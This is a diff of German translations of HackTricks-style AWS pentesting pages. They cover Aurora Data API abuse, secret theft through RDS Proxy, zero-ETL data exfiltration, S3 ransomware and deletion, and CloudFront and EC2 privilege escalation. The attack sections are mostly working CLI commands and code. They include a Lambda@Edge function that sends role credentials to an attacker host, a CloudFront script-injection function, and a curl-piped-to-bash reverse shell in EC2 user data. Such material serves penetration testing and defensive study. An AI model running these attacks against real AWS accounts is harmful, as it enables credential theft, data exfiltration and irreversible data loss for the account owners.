Missbrauche Aurora, um den RDS Data API HTTP-Endpunkt auf einem Ziel-Cluster zu aktivieren, das Master-Passwort auf einen von dir kontrollierten Wert zurückzusetzen und SQL über HTTPS auszuführen (kein VPC-Netzwerkpfad erforderlich). Funktioniert auf Aurora-Engines, die die Data API/EnableHttpEndpoint unterstützen (z. B. Aurora MySQL 8.0 provisioned; einige Aurora PostgreSQL/MySQL-Versionen).
|
||||
|
||||
Berechtigungen (mindestens):
|
||||
- rds:DescribeDBClusters, rds:ModifyDBCluster (oder rds:EnableHttpEndpoint)
|
||||
Permissions (minimum):
|
||||
- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
|
||||
- secretsmanager:CreateSecret
|
||||
- rds-data:ExecuteStatement (und rds-data:BatchExecuteStatement falls verwendet)
|
||||
- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
|
||||
|
||||
Auswirkung: Umgehung der Netzwerksegmentierung und Exfiltration von Daten über AWS-APIs ohne direkte VPC-Konnektivität zur DB.
|
||||
Auswirkung: Netzsegmentierung umgehen und exfiltrate data via AWS APIs ohne direkte VPC-Konnektivität zur DB.
|
||||
|
||||
<details>
|
||||
<summary>End-to-end-CLI (Beispiel: Aurora MySQL)</summary>
|
||||
<summary>End-to-end-CLI (Aurora MySQL-Beispiel)</summary>
|
||||
```bash
|
||||
# 1) Identify target cluster ARN
|
||||
REGION=us-east-1
|
||||
@@ -425,21 +460,21 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
|
||||
</details>
|
||||
|
||||
Hinweise:
|
||||
- Wenn mehrteilige SQL-Anweisungen von rds-data abgelehnt werden, führe separate execute-statement-Aufrufe aus.
|
||||
- Wenn mehrzeilige SQL-Anweisungen von rds-data abgelehnt werden, führe separate execute-statement-Aufrufe aus.
|
||||
- Für Engines, bei denen modify-db-cluster --enable-http-endpoint keine Wirkung hat, verwende rds enable-http-endpoint --resource-arn.
|
||||
- Stelle sicher, dass die Engine/Version die Data API tatsächlich unterstützt; andernfalls bleibt HttpEndpointEnabled False.
|
||||
- Stelle sicher, dass die Engine/Version die Data API tatsächlich unterstützt; andernfalls bleibt HttpEndpointEnabled auf False.
|
||||
|
||||
|
||||
### DB-Anmeldeinformationen über RDS Proxy auth secrets erlangen (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
|
||||
### DB-Zugangsdaten über RDS Proxy auth-Secrets erlangen (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
|
||||
|
||||
Missbrauche die RDS Proxy-Konfiguration, um das von Secrets Manager verwendete Secret für die Backend-Authentifizierung zu entdecken, und lese dann das Secret aus, um Datenbank-Anmeldeinformationen zu erhalten. Viele Umgebungen gewähren weitreichende `secretsmanager:GetSecretValue`-Berechtigungen, was dies zu einem low-friction Pivot zu DB-Anmeldeinformationen macht. Verwendet das Secret eine CMK, können falsch bemessene KMS-Berechtigungen möglicherweise auch `kms:Decrypt` erlauben.
|
||||
Missbrauche die RDS Proxy-Konfiguration, um das Secrets Manager-Secret zu finden, das für die Backend-Authentifizierung verwendet wird, und lese dann das Secret aus, um Datenbank-Anmeldeinformationen zu erhalten. In vielen Umgebungen ist `secretsmanager:GetSecretValue` breitgewährt, was dies zu einem niedrigschwelligen Pivot zu DB-Creds macht. Wenn das Secret eine CMK verwendet, können fehlkonfigurierte KMS-Berechtigungen außerdem `kms:Decrypt` erlauben.
|
||||
|
||||
Erforderliche Berechtigungen (mindestens):
|
||||
- `rds:DescribeDBProxies`
|
||||
- `secretsmanager:GetSecretValue` für das referenzierte SecretArn
|
||||
- Optional, wenn das Secret eine CMK verwendet: `kms:Decrypt` für diesen Schlüssel
|
||||
- `secretsmanager:GetSecretValue` auf dem referenzierten SecretArn
|
||||
- Optional, wenn das Secret eine CMK verwendet: `kms:Decrypt` auf diesem Schlüssel
|
||||
|
||||
Impact: Sofortige Offenlegung des auf dem Proxy konfigurierten DB-Benutzernamens/-passworts; ermöglicht direkten DB-Zugriff oder weiteres lateral movement.
|
||||
Auswirkung: Sofortige Offenlegung des auf dem Proxy konfigurierten DB-Benutzernamens/-passworts; ermöglicht direkten DB-Zugriff oder weitere laterale Bewegung.
|
||||
|
||||
Schritte
|
||||
```bash
|
||||
@@ -454,7 +489,7 @@ aws secretsmanager get-secret-value \
|
||||
--query SecretString --output text
|
||||
# Example output: {"username":"admin","password":"S3cr3t!"}
|
||||
```
|
||||
Lab (minimal zum Reproduzieren)
|
||||
Lab (minimal zur Reproduktion)
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
@@ -473,7 +508,7 @@ aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \
|
||||
aws rds wait db-proxy-available --db-proxy-name p0
|
||||
# Now run the enumeration + secret read from the Steps above
|
||||
```
|
||||
Aufräumen (lab)
|
||||
Aufräumen (Lab)
|
||||
```bash
|
||||
aws rds delete-db-proxy --db-proxy-name p0
|
||||
aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
|
||||
@@ -482,18 +517,18 @@ aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delet
|
||||
```
|
||||
### Stealthy continuous exfiltration via Aurora zero‑ETL to Amazon Redshift (rds:CreateIntegration)
|
||||
|
||||
Missbrauche die Aurora PostgreSQL zero‑ETL integration, um Produktionsdaten kontinuierlich in einen Redshift Serverless namespace zu replizieren, den Sie kontrollieren. Mit einer zu großzügigen Redshift resource policy, die CreateInboundIntegration/AuthorizeInboundIntegration für eine bestimmte Aurora cluster ARN autorisiert, kann ein Angreifer eine nahezu in Echtzeit arbeitende Datenkopie herstellen, ohne DB creds, snapshots oder network exposure.
|
||||
Missbrauch der Aurora PostgreSQL zero‑ETL-Integration, um Produktionsdaten kontinuierlich in einen von Ihnen kontrollierten Redshift Serverless‑Namespace zu replizieren. Mit einer permissiven Redshift‑Resource‑Policy, die CreateInboundIntegration/AuthorizeInboundIntegration für eine bestimmte Aurora‑Cluster‑ARN autorisiert, kann ein Angreifer eine nahezu in Echtzeit laufende Datenkopie herstellen, ohne DB creds, snapshots oder Netzwerk‑Exposition.
|
||||
|
||||
Benötigte Berechtigungen (mindestens):
|
||||
Permissions needed (minimum):
|
||||
- `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
|
||||
- `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations`
|
||||
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (to query)
|
||||
- `rds-data:ExecuteStatement` (optional; to seed data if needed)
|
||||
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (zum Abfragen)
|
||||
- `rds-data:ExecuteStatement` (optional; um bei Bedarf Daten einzuspeisen)
|
||||
|
||||
Getestet in: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
|
||||
Tested on: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
|
||||
|
||||
<details>
|
||||
<summary>1) Redshift Serverless namespace + workgroup erstellen</summary>
|
||||
<summary>1) Redshift Serverless Namespace + Workgroup erstellen</summary>
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \
|
||||
@@ -509,7 +544,7 @@ aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-w
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>2) Redshift-Ressourcenrichtlinie konfigurieren, um die Aurora-Quelle zuzulassen</summary>
|
||||
<summary>2) Konfiguriere die Redshift-Ressourcenrichtlinie, um die Aurora-Quelle zuzulassen</summary>
|
||||
```bash
|
||||
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
SRC_ARN=<AURORA_CLUSTER_ARN>
|
||||
@@ -540,7 +575,7 @@ aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>3) Erstelle Aurora PostgreSQL-Cluster (Data API und logische Replikation aktivieren)</summary>
|
||||
<summary>3) Aurora PostgreSQL-Cluster erstellen (Data API und logische Replikation aktivieren)</summary>
|
||||
```bash
|
||||
CLUSTER_ID=aurora-ztl
|
||||
aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
@@ -571,7 +606,7 @@ SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>4) Erstelle die zero‑ETL-Integration aus RDS</summary>
|
||||
<summary>4) Erstellen Sie die zero‑ETL-Integration von RDS</summary>
|
||||
```bash
|
||||
# Include all tables in the default 'postgres' database
|
||||
aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \
|
||||
@@ -598,10 +633,10 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d
|
||||
|
||||
Im Test beobachtete Hinweise:
|
||||
- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
|
||||
- SVV_INTEGRATION zeigte integration_id 377a462b-c42c-4f08-937b-77fe75d98211 und state PendingDbConnectState vor der DB-Erstellung.
|
||||
- Nach CREATE DATABASE FROM INTEGRATION zeigte das Auflisten der Tabellen das Schema ztl und die Tabelle customers; selecting from ztl.customers returned 2 rows (Alice, Bob).
|
||||
- SVV_INTEGRATION showed integration_id 377a462b-c42c-4f08-937b-77fe75d98211 and state PendingDbConnectState prior to DB creation.
|
||||
- After CREATE DATABASE FROM INTEGRATION, listing tables revealed schema ztl and table customers; selecting from ztl.customers returned 2 rows (Alice, Bob).
|
||||
|
||||
Auswirkung: Kontinuierliche near‑real‑time exfiltration ausgewählter Aurora PostgreSQL-Tabellen in ein vom Angreifer kontrolliertes Redshift Serverless, ohne Verwendung von Datenbank-Anmeldeinformationen, Backups oder Netzwerkzugriff auf das Quell-Cluster.
|
||||
Auswirkung: Kontinuierliche, nahezu in Echtzeit erfolgende Exfiltration ausgewählter Aurora PostgreSQL-Tabellen in Redshift Serverless, das vom Angreifer kontrolliert wird, ohne database credentials, backups oder network access zum Quell-Cluster zu verwenden.
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -10,29 +10,60 @@ Für weitere Informationen siehe:
|
||||
../../aws-services/aws-s3-athena-and-glacier-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Sensitive Informationen
|
||||
### Sensitive Information
|
||||
|
||||
Manchmal findest du sensible Informationen, die in den Buckets lesbar sind. Zum Beispiel terraform state secrets.
|
||||
Manchmal findet man lesbare, sensible Informationen in Buckets. Zum Beispiel terraform state secrets.
|
||||
|
||||
### Pivoting
|
||||
|
||||
Verschiedene Plattformen könnten S3 verwenden, um sensible Assets zu speichern.\
|
||||
Zum Beispiel könnte **airflow** dort **DAGs** **code** ablegen, oder **web pages** könnten direkt von S3 ausgeliefert werden. Ein Angreifer mit Schreibrechten könnte den Inhalt des Buckets **modify the code** um auf andere Plattformen zu **pivot**, oder durch das Modifizieren von JS-Dateien **takeover accounts**.
|
||||
Different platforms could be using S3 to store sensitive assets.\
|
||||
For example, **airflow** could be storing **DAGs** **code** in there, or **web pages** could be directly served from S3. Ein Angreifer mit Schreibrechten könnte den **Code im Bucket verändern**, um auf andere Plattformen zu **pivoten** oder durch das Ändern von JS-Dateien **Accounts zu übernehmen**.
|
||||
|
||||
### S3 Ransomware
|
||||
|
||||
In diesem Szenario erstellt der **Angreifer einen KMS (Key Management Service) key in seinem eigenen AWS-Konto** oder in einem anderen kompromittierten Konto. Anschließend macht er diesen **key weltweit für jedermann zugänglich**, sodass jeder AWS-Benutzer, jede Rolle oder jedes Konto Objekte mit diesem key verschlüsseln kann. Die Objekte können jedoch nicht entschlüsselt werden.
|
||||
In diesem Szenario erstellt der **Angreifer einen KMS (Key Management Service) key in seinem eigenen AWS account** oder in einem anderen kompromittierten Account. Anschließend macht er diesen **Key für jeden auf der Welt zugänglich**, sodass jeder AWS user, role oder account Objekte mit diesem Key verschlüsseln kann. Die Objekte können jedoch nicht wieder entschlüsselt werden.
|
||||
|
||||
Der Angreifer identifiziert einen Ziel-**S3 bucket und erhält Schreibzugriff** darauf, indem er verschiedene Methoden einsetzt. Dies kann an einer schlechten Bucket-Konfiguration liegen, die ihn öffentlich zugänglich macht, oder daran, dass der Angreifer Zugang zur AWS-Umgebung selbst erlangt hat. Typischerweise zielt der Angreifer auf Buckets ab, die sensible Informationen wie personally identifiable information (PII), protected health information (PHI), Logs, Backups und Ähnliches enthalten.
|
||||
Der Angreifer identifiziert ein Ziel-S3-Bucket und erhält Schreibzugriff darauf über verschiedene Methoden. Das kann durch eine schlecht konfigurierte, öffentlich zugängliche Bucket-Policy passieren oder dadurch, dass der Angreifer Zugang zur AWS-Umgebung selbst erlangt. Der Angreifer zielt typischerweise auf Buckets mit sensiblen Informationen wie PII, PHI, Logs, Backups usw.
|
||||
|
||||
Um zu bestimmen, ob der Bucket für Ransomware angegriffen werden kann, prüft der Angreifer dessen Konfiguration. Dazu gehört zu überprüfen, ob **S3 Object Versioning** aktiviert ist und ob **multi-factor authentication delete (MFA delete)** aktiviert ist. Ist Object Versioning nicht aktiviert, kann der Angreifer fortfahren. Ist Object Versioning aktiviert, aber MFA delete deaktiviert, kann der Angreifer **Object Versioning deaktivieren**. Sind sowohl Object Versioning als auch MFA delete aktiviert, wird es für den Angreifer deutlich schwieriger, diesen spezifischen Bucket mit Ransomware zu belegen.
|
||||
Um zu prüfen, ob das Bucket für Ransomware geeignet ist, überprüft der Angreifer dessen Konfiguration. Dazu gehört zu verifizieren, ob **S3 Object Versioning** aktiviert ist und ob **multi-factor authentication delete (MFA delete)** aktiviert ist. Wenn Object Versioning nicht aktiviert ist, kann der Angreifer fortfahren. Wenn Object Versioning aktiviert, aber MFA delete deaktiviert ist, kann der Angreifer **Object Versioning deaktivieren**. Sind sowohl Object Versioning als auch MFA delete aktiviert, wird es für den Angreifer deutlich schwieriger, dieses Bucket mit Ransomware zu attackieren.
|
||||
|
||||
Mit der AWS API ersetzt der Angreifer **jedes Objekt im Bucket durch eine mit seinem KMS key verschlüsselte Kopie**. Dadurch werden die Daten im Bucket effektiv verschlüsselt und ohne den key unzugänglich.
|
||||
Über die AWS API ersetzt der Angreifer jedes Objekt im Bucket durch eine verschlüsselte Kopie, die mit seinem KMS key erstellt wurde. Dadurch werden die Daten im Bucket effektiv verschlüsselt und sind ohne den Key nicht mehr zugänglich.
|
||||
|
||||
Um zusätzlichen Druck aufzubauen, plant der Angreifer die Löschung des in der Attacke verwendeten KMS keys. Dadurch erhält das Ziel ein 7-tägiges Zeitfenster, um seine Daten wiederherzustellen, bevor der key gelöscht wird und die Daten dauerhaft verloren sind.
|
||||
Um zusätzlichen Druck aufzubauen, plant der Angreifer die Löschung des in der Attacke verwendeten KMS keys. Dadurch hat das Opfer ein 7-tägiges Fenster, um seine Daten wiederherzustellen, bevor der Key gelöscht wird und die Daten dauerhaft verloren sind.
|
||||
|
||||
Abschließend kann der Angreifer eine letzte Datei hochladen, üblicherweise mit dem Namen "ransom-note.txt", die Anweisungen für das Ziel enthält, wie es seine Dateien zurückerlangen kann. Diese Datei wird unverschlüsselt hochgeladen, vermutlich um die Aufmerksamkeit des Ziels zu erregen und auf den Ransomware-Angriff hinzuweisen.
|
||||
Schließlich könnte der Angreifer eine finale Datei hochladen, üblicherweise mit dem Namen "ransom-note.txt", die Anweisungen für das Opfer enthält, wie es seine Dateien zurückerhalten kann. Diese Datei wird unverschlüsselt hochgeladen, vermutlich um die Aufmerksamkeit des Opfers zu erregen und auf den Ransomware-Angriff hinzuweisen.
|
||||
|
||||
**For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
|
||||
### `s3:RestoreObject`
|
||||
|
||||
Ein Angreifer mit der Berechtigung s3:RestoreObject kann in Glacier oder Deep Archive archivierte Objekte reaktivieren und sie temporär zugänglich machen. Dadurch wird die Wiederherstellung und Exfiltration historisch archivierter Daten (Backups, Snapshots, Logs, Zertifikate, alte Secrets) möglich, die normalerweise nicht erreichbar wären. Kombiniert der Angreifer diese Berechtigung mit Leserechten (z. B. s3:GetObject), kann er vollständige Kopien sensibler Daten erhalten.
|
||||
```bash
|
||||
aws s3api restore-object \
|
||||
--bucket <BUCKET_NAME> \
|
||||
--key <OBJECT_KEY> \
|
||||
--restore-request '{
|
||||
"Days": <NUMBER_OF_DAYS>,
|
||||
"GlacierJobParameters": { "Tier": "Standard" }
|
||||
}'
|
||||
```
|
||||
### `s3:Delete*`
|
||||
|
||||
Ein Angreifer mit der s3:Delete*-Berechtigung kann Objekte, Versionen und ganze Buckets löschen, Backups stören und sofortigen sowie irreversiblen Datenverlust verursachen, Beweismaterial vernichten und Backup- oder Wiederherstellungsartefakte kompromittieren.
|
||||
```bash
|
||||
# Delete an object from a bucket
|
||||
aws s3api delete-object \
|
||||
--bucket <BUCKET_NAME> \
|
||||
--key <OBJECT_KEY>
|
||||
|
||||
# Delete a specific version
|
||||
aws s3api delete-object \
|
||||
--bucket <BUCKET_NAME> \
|
||||
--key <OBJECT_KEY> \
|
||||
--version-id <VERSION_ID>
|
||||
|
||||
# Delete a bucket
|
||||
aws s3api delete-bucket \
|
||||
--bucket <BUCKET_NAME>
|
||||
```
|
||||
**Für mehr Infos** [**siehe die Originalforschung**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -0,0 +1,217 @@
|
||||
# AWS - CloudFront Privesc
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFront
|
||||
|
||||
### `cloudfront:UpdateDistribution` & `cloudfront:GetDistributionConfig`
|
||||
|
||||
Ein Angreifer, der die Berechtigungen `cloudfront:UpdateDistribution` und `cloudfront:GetDistributionConfig` besitzt, kann die Konfiguration einer CloudFront-Distribution ändern. Er benötigt keine Berechtigungen für den Ziel S3 bucket selbst, obwohl der Angriff einfacher ist, wenn dieser Bucket eine permissive Policy hat, die Zugriff vom cloudfront.amazonaws.com service principal erlaubt.
|
||||
|
||||
Der Angreifer ändert die Origin-Konfiguration einer Distribution, sodass sie auf einen anderen S3 bucket oder auf einen vom Angreifer kontrollierten Server zeigt. Zuerst holt er die aktuelle Distribution-Konfiguration:
|
||||
```bash
|
||||
aws cloudfront get-distribution-config --id <distribution-id> | jq '.DistributionConfig' > current-config.json
|
||||
```
|
||||
Dann bearbeiten sie current-config.json, um den origin auf die neue Ressource zu verweisen — zum Beispiel einen anderen S3 bucket:
|
||||
```bash
|
||||
...
|
||||
"Origins": {
|
||||
"Quantity": 1,
|
||||
"Items": [
|
||||
{
|
||||
"Id": "<origin-id>",
|
||||
"DomainName": "<new-bucket>.s3.us-east-1.amazonaws.com",
|
||||
"OriginPath": "",
|
||||
"CustomHeaders": {
|
||||
"Quantity": 0
|
||||
},
|
||||
"S3OriginConfig": {
|
||||
"OriginAccessIdentity": "",
|
||||
"OriginReadTimeout": 30
|
||||
},
|
||||
"ConnectionAttempts": 3,
|
||||
"ConnectionTimeout": 10,
|
||||
"OriginShield": {
|
||||
"Enabled": false
|
||||
},
|
||||
"OriginAccessControlId": "E30N32Y4IBZ971"
|
||||
}
|
||||
]
|
||||
},
|
||||
...
|
||||
```
|
||||
Wenden Sie schließlich die geänderte Konfiguration an (Sie müssen beim Aktualisieren den aktuellen ETag angeben):
|
||||
```bash
|
||||
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)
|
||||
|
||||
aws cloudfront update-distribution \
|
||||
--id <distribution-id> \
|
||||
--distribution-config file://current-config.json \
|
||||
--if-match $CURRENT_ETAG
|
||||
```
|
||||
|
||||
### `cloudfront:UpdateFunction`, `cloudfront:PublishFunction`, `cloudfront:GetFunction`, `cloudfront:CreateFunction` and `cloudfront:AssociateFunction`
|
||||
An attacker needs the permissions cloudfront:UpdateFunction, cloudfront:PublishFunction, cloudfront:GetFunction, cloudfront:CreateFunction and cloudfront:AssociateFunction to manipulate or create CloudFront functions.
|
||||
|
||||
The attacker creates a malicious CloudFront Function that injects JavaScript into HTML responses:
|
||||
|
||||
```bash
|
||||
function handler(event) {
|
||||
var request = event.request;
|
||||
var response = event.response;
|
||||
// Create a new body with malicious JavaScript
|
||||
var maliciousBody = `
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Compromised Page</title>
|
||||
</head>
|
||||
<body>
|
||||
<h1>Original Content</h1>
|
||||
<p>This page has been modified by CloudFront Functions</p>
|
||||
<script>
|
||||
// Malicious JavaScript
|
||||
alert('CloudFront Function Code Injection Successful!');
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
`;
|
||||
// Replace the body entirely
|
||||
response.body = { encoding: "text", data: maliciousBody };
|
||||
// Update headers
|
||||
response.headers["content-type"] = { value: "text/html; charset=utf-8" };
|
||||
response.headers["content-length"] = {
|
||||
value: maliciousBody.length.toString(),
|
||||
};
|
||||
response.headers["x-cloudfront-function"] = { value: "malicious-injection" };
|
||||
return response;
|
||||
}
|
||||
```
|
||||
|
||||
Commands to create, publish and attach the function:
|
||||
|
||||
```bash
|
||||
# Erstelle die bösartige Funktion in CloudFront
|
||||
aws cloudfront create-function --name malicious-function --function-config '{
|
||||
"Comment": "Malicious CloudFront Function for Code Injection",
|
||||
"Runtime": "cloudfront-js-1.0"
|
||||
}' --function-code fileb://malicious-function.js
|
||||
|
||||
# Hole das ETag der Funktion in der DEVELOPMENT-Stage
|
||||
aws cloudfront describe-function --name malicious-function --stage DEVELOPMENT --query 'ETag' --output text
|
||||
|
||||
# Veröffentliche die Funktion in der LIVE-Stage
|
||||
aws cloudfront publish-function --name malicious-function --if-match <etag>
|
||||
```
|
||||
|
||||
Add the function to the distribution configuration (FunctionAssociations):
|
||||
|
||||
```bash
|
||||
"FunctionAssociations": {
|
||||
"Quantity": 1,
|
||||
"Items": [
|
||||
{
|
||||
"FunctionARN": "arn:aws:cloudfront::<account-id>:function/malicious-function",
|
||||
"EventType": "viewer-response"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
Finally update the distribution configuration (remember to supply the current ETag):
|
||||
|
||||
```bash
|
||||
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)
|
||||
|
||||
aws cloudfront update-distribution --id <distribution-id> --distribution-config file://current-config.json --if-match $CURRENT_ETAG
|
||||
```
|
||||
|
||||
### `lambda:CreateFunction`, `lambda:UpdateFunctionCode`, `lambda:PublishVersion`, `iam:PassRole` & `cloudfront:UpdateDistribution`
|
||||
|
||||
An attacker needs the lambda:CreateFunction, lambda:UpdateFunctionCode, lambda:PublishVersion, iam:PassRole and cloudfront:UpdateDistribution permissions to create and associate malicious Lambda@Edge functions. A role that can be assumed by the lambda.amazonaws.com and edgelambda.amazonaws.com service principals is also required.
|
||||
|
||||
The attacker creates a malicious Lambda@Edge function that steals the IAM role credentials:
|
||||
|
||||
```bash
|
||||
// malicious-lambda-edge.js
|
||||
exports.handler = async (event) => {
|
||||
// Obtain role credentials
|
||||
const credentials = {
|
||||
accessKeyId: process.env.AWS_ACCESS_KEY_ID,
|
||||
secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY,
|
||||
sessionToken: process.env.AWS_SESSION_TOKEN,
|
||||
};
|
||||
// Send credentials to attacker's server
|
||||
try {
|
||||
await fetch("https://<attacker-ip>/steal-credentials", {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify(credentials)
|
||||
});
|
||||
} catch (error) {
|
||||
console.error("Error sending credentials:", error);
|
||||
}
|
||||
if (event.Records && event.Records[0] && event.Records[0].cf) {
|
||||
// Modify response headers
|
||||
const response = event.Records[0].cf.response;
|
||||
response.headers["x-credential-theft"] = [
|
||||
{
|
||||
key: "X-Credential-Theft",
|
||||
value: "Successful",
|
||||
},
|
||||
];
|
||||
return response;
|
||||
}
|
||||
return {
|
||||
statusCode: 200,
|
||||
body: JSON.stringify({ message: "Credentials stolen" })
|
||||
};
|
||||
};
|
||||
```
|
||||
|
||||
```bash
|
||||
# Paketieren der Lambda@Edge-Funktion
|
||||
zip malicious-lambda-edge.zip malicious-lambda-edge.js
|
||||
|
||||
# Erstelle die Lambda@Edge-Funktion mit einer privilegierten Rolle
|
||||
aws lambda create-function \
|
||||
--function-name malicious-lambda-edge \
|
||||
--runtime nodejs18.x \
|
||||
--role <privileged-role-arn> \
|
||||
--handler malicious-lambda-edge.handler \
|
||||
--zip-file fileb://malicious-lambda-edge.zip \
|
||||
--region <region>
|
||||
|
||||
# Veröffentliche eine Version der Funktion
|
||||
aws lambda publish-version --function-name malicious-lambda-edge --region <region>
|
||||
```
|
||||
|
||||
Then the attacker updates the CloudFront distribution configuration to reference the published Lambda@Edge version:
|
||||
|
||||
```bash
|
||||
"LambdaFunctionAssociations": {
|
||||
"Quantity": 1,
|
||||
"Items": [
|
||||
{
|
||||
"LambdaFunctionARN": "arn:aws:lambda:us-east-1:<account-id>:function:malicious-lambda-edge:1",
|
||||
"EventType": "viewer-response",
|
||||
"IncludeBody": false
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
```bash
|
||||
# Aktualisierte Distribution-Konfiguration anwenden (aktuellen ETag verwenden)
|
||||
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)
|
||||
|
||||
aws cloudfront update-distribution \
|
||||
--id <distribution-id> \
|
||||
--distribution-config file://current-config.json \
|
||||
--if-match $CURRENT_ETAG
|
||||
|
||||
# Funktion auslösen, indem du die Distribution anfragst
|
||||
curl -v https://<distribution-domain>.cloudfront.net/
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## EC2
|
||||
|
||||
Für mehr **Informationen über EC2** siehe:
|
||||
Für mehr **Informationen zu EC2** siehe:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
@@ -12,11 +12,11 @@ Für mehr **Informationen über EC2** siehe:
|
||||
|
||||
### `iam:PassRole`, `ec2:RunInstances`
|
||||
|
||||
Ein attacker könnte eine instance erstellen, dieser eine IAM role anhängen und dann auf die instance zugreifen, um die IAM role credentials vom metadata endpoint zu stehlen.
|
||||
Ein Angreifer könnte **eine Instanz erstellen, eine IAM-Rolle anhängen und dann auf die Instanz zugreifen**, um die IAM-Rollen-Anmeldeinformationen vom Metadata-Endpunkt zu stehlen.
|
||||
|
||||
- **Zugriff via SSH**
|
||||
- **Zugriff über SSH**
|
||||
|
||||
Starte eine neue instance unter Verwendung eines **created** **ssh key** (`--key-name`) und verbinde dich dann per ssh damit (wenn du einen neuen erstellen willst, benötigst du möglicherweise die Berechtigung `ec2:CreateKeyPair`).
|
||||
Starte eine neue Instanz mit einem **erstellten** **ssh key** (`--key-name`) und verbinde dich dann per ssh damit (wenn du einen neuen erstellen möchtest, benötigst du möglicherweise die Berechtigung `ec2:CreateKeyPair`).
|
||||
```bash
|
||||
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
|
||||
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
|
||||
@@ -24,7 +24,7 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
|
||||
```
|
||||
- **Zugriff über rev shell in user data**
|
||||
|
||||
Du kannst eine neue Instance mittels **user data** (`--user-data`) starten, die dir eine **rev shell** sendet. Auf diese Weise musst du keine security group angeben.
|
||||
Du kannst eine neue Instanz mit **user data** (`--user-data`) starten, die dir eine **rev shell** sendet. Auf diese Weise musst du keine security group angeben.
|
||||
```bash
|
||||
echo '#!/bin/bash
|
||||
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
|
||||
@@ -34,17 +34,17 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
|
||||
--count 1 \
|
||||
--user-data "file:///tmp/rev.sh"
|
||||
```
|
||||
Sei vorsichtig mit GuardDuty, wenn du die credentials der IAM role außerhalb der instance verwendest:
|
||||
Sei vorsichtig mit GuradDuty, wenn du die Anmeldeinformationen der IAM role außerhalb der instance verwendest:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
|
||||
{{#endref}}
|
||||
|
||||
**Potenzielle Auswirkung:** Direct privesc to any EC2 role attached to existing instance profiles.
|
||||
**Mögliche Auswirkungen:** Direkter privesc zu jeder EC2 role, die an bestehende instance profiles angehängt ist.
|
||||
|
||||
#### Privesc to ECS
|
||||
|
||||
Mit diesem Berechtigungssatz könntest du außerdem **create an EC2 instance and register it inside an ECS cluster**. Auf diese Weise werden ECS **services** in der **EC2 instance**, auf die du Zugriff hast, **run**, und du kannst diese services (docker containers) kompromittieren und **steal their ECS roles attached**.
|
||||
Mit diesen Berechtigungen könntest du außerdem **eine EC2 instance erstellen und sie in einem ECS cluster registrieren**. Auf diese Weise werden ECS **services** innerhalb der **EC2 instance**, auf die du Zugriff hast, **ausgeführt**, und du kannst diese Services (docker containers) kompromittieren und **ihre angehängten ECS roles stehlen**.
|
||||
```bash
|
||||
aws ec2 run-instances \
|
||||
--image-id ami-07fde2ae86109a2af \
|
||||
@@ -59,20 +59,20 @@ aws ec2 run-instances \
